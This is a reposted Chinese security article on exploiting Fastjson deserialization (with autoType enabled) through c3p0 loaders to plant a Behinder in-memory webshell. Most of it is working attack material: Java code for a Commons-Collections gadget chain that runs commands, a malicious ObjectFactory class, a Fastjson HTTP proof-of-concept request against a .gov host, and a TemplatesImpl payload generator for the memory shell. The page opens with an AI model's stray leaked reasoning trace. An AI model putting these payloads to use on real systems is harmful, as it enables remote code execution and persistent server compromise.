Fastjson 中通过 c3p0 二次反序列化打冰蝎不出网内存马
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户提供了文章的详细内容,包括依赖、关键路由、原理分析、漏洞、攻击链、示例代码以及内存马等内容。 首先,我要理解文章的主要内容。文章主要讨论了Fastjson和C3P0组件中的漏洞,特别是反序列化漏洞如何被利用来执行恶意代码。提到了几种攻击方式,如JNDI注入、Hex序列化字节加载器和URLClassLoader远程类加载。还给出了具体的攻击链和示例代码,展示了如何构造Payload进行攻击。 接下来,我需要将这些信息浓缩到100字以内。要抓住关键点:Fastjson和C3P0的反序列化漏洞,攻击方式包括JNDI注入、Hex加载器和远程类加载,以及这些漏洞如何被用于执行恶意代码。 最后,确保语言简洁明了,不使用复杂的术语,让用户一目了然地理解文章的核心内容。 </think> 文章介绍了Fastjson和C3P0组件的反序列化漏洞及其利用方式,包括JNDI注入、Hex序列化字节加载器和URLClassLoader远程类加载等攻击链,并提供了相应的示例代码展示如何构造Payload进行攻击。 2026-3-7 14:0:50 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

相关依赖

需要手动开启 autoType

<dependency>  
  <groupId>com.mchange</groupId>  
  <artifactId>c3p0</artifactId>  
  <version>0.9.5.2</version>  
</dependency>  
<dependency>  
  <groupId>commons-collections</groupId>  
  <artifactId>commons-collections</artifactId>  
  <version>3.1</version>  
</dependency>  
<dependency>  
  <groupId>com.alibaba</groupId>  
  <artifactId>fastjson</artifactId>  
  <version>1.2.83</version>  
</dependency>

关键路由

static {  
  ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
}  

@PostMapping("/")  
public Object parse(@RequestBody String body) {  
  try {  
    Object obj = JSON.parse(body);  
    return obj;  
  } catch (Exception e) {  
    return "error: " + e.getMessage();  
  }  
}

原理分析

Fastjson漏洞

Fastjson漏洞大家都很熟悉,主要是利用其反序列化功能执行恶意代码。

C3P0漏洞

C3P0作为Java生态中老牌的数据库连接池,存在以下几种攻击方式:

  1. JNDI注入
  2. 十六进制序列化字节加载器
  3. URLClassLoader远程类加载

URLClassLoader远程类加载

攻击链

PoolBackedDataSourceBase#readObject()  
  -> ReferenceSerialized#getObject()  
    -> ReferenceableUtils#referenceToObject()  
      -> Class#forName(className, true, urlClassLoader)  
        -> ObjectFactory#getObjectInstance()

示例代码

// Calculator.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.Reference;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.IOException;

public class Calculator implements ObjectFactory {
  static {
    try {
      Runtime.getRuntime().exec("open -a Calculator.app");
    } catch (IOException e) {
      e.printStackTrace();
    }
  }
  
  @Override
  public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    return null;
  }
}

HEX序列化字节加载器

攻击链

PoolBackedDataSourceBase#readObject()  
  -> WrapperConnectionPoolDataSource#readObject()  
    -> C3P0ImplUtils#parseUserOverridesAsString(String)  
      -> ByteUtils#fromHexAscii(String)  
      -> SerializableUtils#fromByteArray(byte[])  
        -> SerializableUtils#deserializeFromByteArray(byte[])  
          -> ObjectInputStream#readObject()  
            -> (CC6 / TemplatesImpl / 7u21)

示例代码

package org.example;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class hexLoader {
  public static void main(String[] args) throws Exception {
    String command = "open -a Calculator";
    byte[] cc5Bytes = generateCC5Payload(command);
    String hexPayload = bytesToHexString(cc5Bytes);
    String finalPayload = "HexAsciiSerializedMap:" + hexPayload + ";";
    
    try {
      WrapperConnectionPoolDataSource wcpds = new WrapperConnectionPoolDataSource();
      wcpds.setUserOverridesAsString(finalPayload);
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
  
  public static byte[] generateCC5Payload(String cmd) throws Exception {
    Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
      new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
    };
    
    ChainedTransformer chain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map lazyMap = LazyMap.decorate(innerMap, chain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valField = val.getClass().getDeclaredField("val");
    valField.setAccessible(true);
    valField.set(val, entry);
    
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(val);
    return baos.toByteArray();
  }
  
  public static String bytesToHexString(byte[] bArray) {
    StringBuilder sb = new StringBuilder(bArray.length);
    for (byte b : bArray) {
      String sTemp = Integer.toHexString(0xFF & b);
      if (sTemp.length() < 2) sb.append(0);
      sb.append(sTemp.toUpperCase());
    }
    return sb.toString();
  }
}

攻击Fastjson

不出网环境常用链

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource  
org.apache.tomcat.dbcp.dbcp.BasicDataSource  
org.apache.tomcat.dbcp.dbcp2.BasicDataSource  
org.apache.ibatis.datasource.unpooled.UnpooledDataSource

Fastjson POC示例

POST / HTTP/1.1
Host: icecliffs.gov:9090
Content-Type: application/json
Content-Length: 21135

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:你猜;"}}

HEX序列化字节加载器上线冰蝎内存马

内存马原理

  1. 获取上下文控制权
  2. 定位核心组件
  3. 动态插入恶意逻辑

示例代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Generator {
  public static void main(String[] args) throws Exception {
    byte[] classBytes = Files.readAllBytes(Paths.get("target/classes/InjectToInterceptor.class"));
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
    setFieldValue(templates, "_name", "1");
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    HashMap<String, Object> map = new HashMap<>();
    map.put("trigger", templates);
    
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(map);
    oos.close();
    
    String hex = bytesToHex(baos.toByteArray());
    System.out.println("HexAsciiSerializedMap:" + hex);
  }
  
  private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
  }
  
  private static String bytesToHex(byte[] bytes) {
    StringBuilder sb = new StringBuilder();
    for (byte b : bytes) {
      sb.append(String.format("%02x", b));
    }
    return sb.toString();
  }
}

文章来源: https://www.freebuf.com/articles/vuls/472781.html
如有侵权请联系:admin#unsafe.sh